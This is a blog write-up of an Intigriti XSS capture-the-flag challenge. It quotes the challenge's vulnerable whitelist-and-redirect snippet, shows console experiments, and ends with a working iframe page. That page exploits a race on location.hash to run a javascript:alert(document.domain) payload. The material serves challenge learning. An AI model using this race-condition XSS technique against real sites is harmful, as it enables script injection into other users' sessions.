Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I attempted another Intigriti XSS challenge a few months ago and wanted to share my attempts.
If you saw my last post, then you are at least partially familiar with these XSS challenges.
This was another interesting challenge that they posted, and I wanted a shot at it.
Unfortunately, I was unable to solve this challenge at all completely. That said, I found a lot of great solutions, and got close in the end.
If Intigriti removes the the challenge, then you can find the vulnerable code snippet below.
const whitelist = ['intigriti.com','intigriti.io']; var url = new URL(location.hash.substr(1)); if(whitelist.indexOf(url.hostname) > -1){ document.write("Redirecting you to " + encodeURIComponent(url.href) + "..."); window.setTimeout(function(){ location = location.hash.substr(1); }); } else{ document.write(url.hostname + " is not a valid domain.") }
You can find the challenge specifics below as well.
Finally, here are the hints that Intigriti tweeted.
With the challenge in hand, I started to work on my solution.
First, I tried to understand how the URL constructor worked.
> var url = new URL('intigriti.com'); VM36:1 Uncaught TypeError: Failed to construct 'URL': Invalid URL at <anonymous>:1:11
As it turns out, the protocol is needed, so that immediately eliminated a few of my first ideas.
> var url = new URL('https://www.intigriti.com'); undefined > url URL {href: "https://www.intigriti.com/", origin: "https://www.intigriti.com", protocol: "https:", username: "", password: "", ...} > url.hostname "www.intigriti.com"
Next, I tried using a subdomain (www) of one of the white-listed URLs.
https://challenge.intigriti.io/#https://www.intigriti.com
I also spent a lot of time reading the URL spec, so at least I learned something.
When that didn’t work, I used a site from the list itself, to verify functionality.
https://challenge.intigriti.io/#https://intigriti.com
Next, I wanted to see how JavaScript handled multiple hashes in one URL. Unfortunately, it appeared that only the first one was considered the location.hash.
https://challenge.intigriti.io/#https://testing123.com#https://intigriti.com
> location.hash "#https://testing123.com#https://intigriti.com" > var url = new URL(location.hash.substr(1)); undefined > url URL {href: "https://testing123.com/#https://intigriti.com", origin: "https://testing123.com", protocol: "https:", username: "", password: "", ...}hash: "#https://intigriti.com"host: "testing123.com"hostname: "testing123.com"href: "https://testing123.com/#https://intigriti.com"origin: "https://testing123.com"password: ""pathname: "/"port: ""protocol: "https:"search: ""searchParams: URLSearchParams {}username: ""__proto__: URL
Additionally, I tried to inject some HTML in the location.hash, in spite of the encodeURIComponent call.
https://challenge.intigriti.io/#https://intigriti.com#%22%3E%3Cb%3Etest%3C/b%3E
Unfortunately, this did not work, and I did not inject any HTML.
Redirecting you to https%3A%2F%2Fintigriti.com%2F%23%2522%253E%253Cb%253Etest%253C%2Fb%253E...
Between the hints and my attempts, I had a pretty good handle on the solution.
I thought (correctly) that I needed to exploit a race condition on the hash between the white-list and the redirect.
First, to verify this, I used a valid URL before the redirect.
https://challenge.intigriti.io/#https://intigriti.io
Once I got to the redirect line, I changed the hash and resumed execution.
https://challenge.intigriti.io/#javascript:alert(document.domain)
This worked and confirmed that I was on the right path.
Unfortunately, I was unable to progress past this point, and the challenge ended.
After the challenge ended, I read a few solutions, and realized that I was on the right path.
In the end, I would have used a page like this for my solution.
<html> <head> <title>Intigriti XSS Challenge</title> </head> <body> <iframe id= "xss" src="https://challenge.intigriti.io/#https://intigriti.io"></iframe> </body> <script> setTimeout(function(e){document.getElementById('xss').src = "https://challenge.intigriti.io/#javascript:alert(document.domain)"},200); </script> </html>
As you can see, this successfully popped my alert!
That said, I didn’t realize this was in the spirit of the competition, and that was my fault.
This was a fun challenge, although I’m a little disappointed that I couldn’t solve it in time.
I’m looking forward to more XSS posts or challenges, so stay tuned.
Here are just a few of the solutions that I read when it was over, and it was awesome seeing such variety between them. If you have another unique solution that you’d like me to see or add, then let me know!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.